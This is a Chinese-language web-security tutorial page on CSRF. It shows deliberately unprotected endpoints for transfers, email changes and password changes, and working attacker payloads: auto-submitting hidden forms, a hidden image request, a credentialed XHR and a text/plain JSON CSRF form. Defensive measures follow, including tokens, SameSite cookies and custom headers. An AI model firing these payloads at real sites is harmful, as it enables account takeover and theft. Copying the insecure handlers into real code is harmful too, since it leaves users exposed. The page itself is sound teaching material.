元素码农
基础
UML建模
数据结构
算法
设计模式
网络
TCP/IP协议
HTTPS安全机制
WebSocket实时通信
数据库
sqlite
postgresql
clickhouse
后端
rust
go
java
php
mysql
redis
mongodb
etcd
nats
zincsearch
前端
浏览器
javascript
typescript
vue3
react
游戏
unity
unreal
C++
C#
Lua
App
android
ios
flutter
react-native
安全
Web安全
测试
软件测试
自动化测试 - Playwright
人工智能
Python
langChain
langGraph
运维
linux
docker
工具
git
svn
🌞
🌙
目录
▶
注入攻击与防御
SQL注入原理与利用
SQL注入防御策略
NoSQL注入技术分析
命令注入漏洞实战
ORM框架注入问题
注入攻击自动化检测
▶
认证与会话安全
会话固定与会话劫持
密码存储与加密策略
多因素认证机制
OAuth2.0安全实践
JWT安全攻防
认证逻辑漏洞挖掘
▶
XSS攻击与防御
XSS攻击原理与分类
存储型XSS实战案例
DOM型XSS高级利用
XSS过滤器绕过技术
CSP内容安全策略
前端框架XSS防护
▶
CSRF与点击劫持
CSRF攻击原理演示
CSRF Token防御实践
点击劫持技术剖析
SameSite Cookie策略
框架内置防护机制
跨域资源安全策略
▶
文件安全攻防
文件上传漏洞利用
安全文件类型验证
路径遍历漏洞实战
文件包含漏洞防御
Office文档攻击解析
云存储安全配置
▶
其他Web攻击技术
SSRF漏洞利用与防御
XXE漏洞攻防实战
反序列化漏洞原理
业务逻辑漏洞挖掘
HTTP请求走私攻击
Web缓存投毒攻击
发布时间:
2025-03-23 13:11
↑
☰
# CSRF攻击原理演示 ## CSRF漏洞概述 CSRF(Cross-Site Request Forgery,跨站请求伪造)是一种常见的Web安全漏洞。攻击者通过诱导用户访问恶意网站,利用用户在目标网站的登录状态,在用户不知情的情况下向目标网站发送伪造的请求,从而执行未经授权的操作。 ## 攻击原理 ### 1. 基本攻击流程 ```javascript // 目标网站的转账接口 app.post('/transfer', (req, res) => { // 不安全:仅验证用户是否登录 if (!req.session.userId) { return res.status(401).json({ error: 'Unauthorized' }); } const { to, amount } = req.body; // 执行转账操作 transferMoney(req.session.userId, to, amount); res.json({ success: true }); }); // 攻击者的恶意网站 /* <html> <body> <form id="evil-form" action="https://bank.com/transfer" method="POST"> <input type="hidden" name="to" value="attacker-account"> <input type="hidden" name="amount" value="1000"> </form> <script> document.getElementById('evil-form').submit(); </script> </body> </html> */ ``` ### 2. 攻击变种 ```javascript // GET请求CSRF class UnsafeController { // 不安全:使用GET请求修改状态 @GetMapping("/change-email") public Response changeEmail(String newEmail) { User user = getCurrentUser(); user.setEmail(newEmail); userRepository.save(user); return Response.ok(); } } // 攻击者可以使用图片标签触发请求 /* <img src="https://example.com/change-email?newEmail=attacker@evil.com" style="display:none"> */ // AJAX请求CSRF class AjaxCSRF { static attack() { // 创建XMLHttpRequest请求 const xhr = new XMLHttpRequest(); xhr.open('POST', 'https://bank.com/transfer', true); xhr.withCredentials = true; // 发送Cookie xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); // 发送请求 xhr.send('to=attacker&amount=1000'); } } ``` ## 漏洞演示 ### 1. 简单的CSRF攻击 ```javascript // 目标网站:修改用户密码 class PasswordController { @PostMapping("/change-password") public Response changePassword( @RequestParam String newPassword ) { // 不安全:未进行CSRF防护 User user = getCurrentUser(); user.setPassword(newPassword); userRepository.save(user); return Response.ok(); } } // 攻击者的恶意页面 const evilPage = ` <html> <body onload="document.forms[0].submit()"> <form action="https://target.com/change-password" method="POST"> <input type="hidden" name="newPassword" value="hacked123"> </form> </body> </html> `; ``` ### 2. JSON CSRF攻击 ```javascript // 目标API接口 app.post('/api/update-profile', (req, res) => { // 不安全:仅验证Content-Type if (req.headers['content-type'] !== 'application/json') { return res.status(400).json({ error: 'Invalid content type' }); } const { name, email } = req.body; updateUserProfile(req.session.userId, name, email); res.json({ success: true }); }); // 攻击者的Payload const jsonCSRF = ` <form action="https://target.com/api/update-profile" method="POST" enctype="text/plain"> <input name='{"name":"hacked","email":"attacker@evil.com","padding":"' value='"}'> </form> <script> document.forms[0].submit(); </script> `; ``` ## 防护措施 ### 1. CSRF Token ```javascript // 服务端实现 class CSRFProtection { // 生成CSRF Token generateToken() { return crypto .randomBytes(32) .toString('hex'); } // 验证Token中间件 verifyToken(req, res, next) { // 跳过GET请求 if (req.method === 'GET') { return next(); } const token = req.headers['x-csrf-token'] || req.body._csrf; if (!token || token !== req.session.csrfToken) { return res.status(403).json({ error: 'Invalid CSRF token' }); } next(); } } // 前端实现 class CSRFClient { constructor() { this.token = document .querySelector('meta[name="csrf-token"]') .getAttribute('content'); } // 发送安全的请求 async sendRequest(url, data) { const response = await fetch(url, { method: 'POST', headers: { 'Content-Type': 'application/json', 'X-CSRF-Token': this.token }, body: JSON.stringify(data) }); return response.json(); } } ``` ### 2. SameSite Cookie ```javascript // 设置安全的Cookie app.use((req, res, next) => { // 设置Session Cookie res.cookie('sessionId', 'xxx', { httpOnly: true, secure: true, sameSite: 'strict' }); next(); }); // Cookie配置选项 const cookieOptions = { // 禁止JavaScript访问 httpOnly: true, // 仅通过HTTPS发送 secure: true, // SameSite策略 sameSite: 'strict', // 或 'lax' // 设置域名 domain: '.example.com', // 设置路径 path: '/', // 设置过期时间 maxAge: 3600000 // 1小时 }; ``` ### 3. 自定义请求头 ```javascript // 服务端实现 class CustomHeaderProtection { verifyCustomHeader(req, res, next) { // 验证自定义请求头 const customHeader = req.headers['x-requested-with']; if (!customHeader || customHeader !== 'XMLHttpRequest') { return res.status(403).json({ error: 'Invalid request' }); } next(); } } // 前端实现 class SecureAjaxClient { async sendRequest(url, data) { const response = await fetch(url, { method: 'POST', headers: { 'Content-Type': 'application/json', 'X-Requested-With': 'XMLHttpRequest' }, credentials: 'include', body: JSON.stringify(data) }); return response.json(); } } ``` ## 最佳实践 ### 1. 开发建议 1. 请求方法 - 使用POST而不是GET处理状态变更 - 避免使用GET进行数据修改 - 正确设置Content-Type 2. 身份验证 - 实施强制会话管理 - 使用安全的Cookie设置 - 验证用户身份和权限 3. CSRF防护 - 实施CSRF Token - 配置SameSite Cookie - 使用自定义请求头 ### 2. 配置建议 ```javascript // 安全配置示例 const securityConfig = { // CSRF配置 csrf: { enabled: true, tokenName: '_csrf', headerName: 'X-CSRF-Token', cookie: { name: 'csrf-token', httpOnly: true, secure: true, sameSite: 'strict' } }, // Cookie配置 session: { name: 'sessionId', httpOnly: true, secure: true, sameSite: 'strict', domain: '.example.com', path: '/', maxAge: 3600000 }, // 请求头配置 headers: { 'X-Frame-Options': 'DENY', 'X-Content-Type-Options': 'nosniff', 'X-XSS-Protection': '1; mode=block' } }; ``` ## 总结 CSRF攻击的防护需要多层次的安全措施: 1. 应用层 - 实施CSRF Token - 验证请求来源 - 使用安全的HTTP方法 2. 会话层 - 配置安全的Cookie - 实施SameSite策略 - 管理会话生命周期 3. 传输层 - 使用HTTPS - 配置安全头部 - 验证内容类型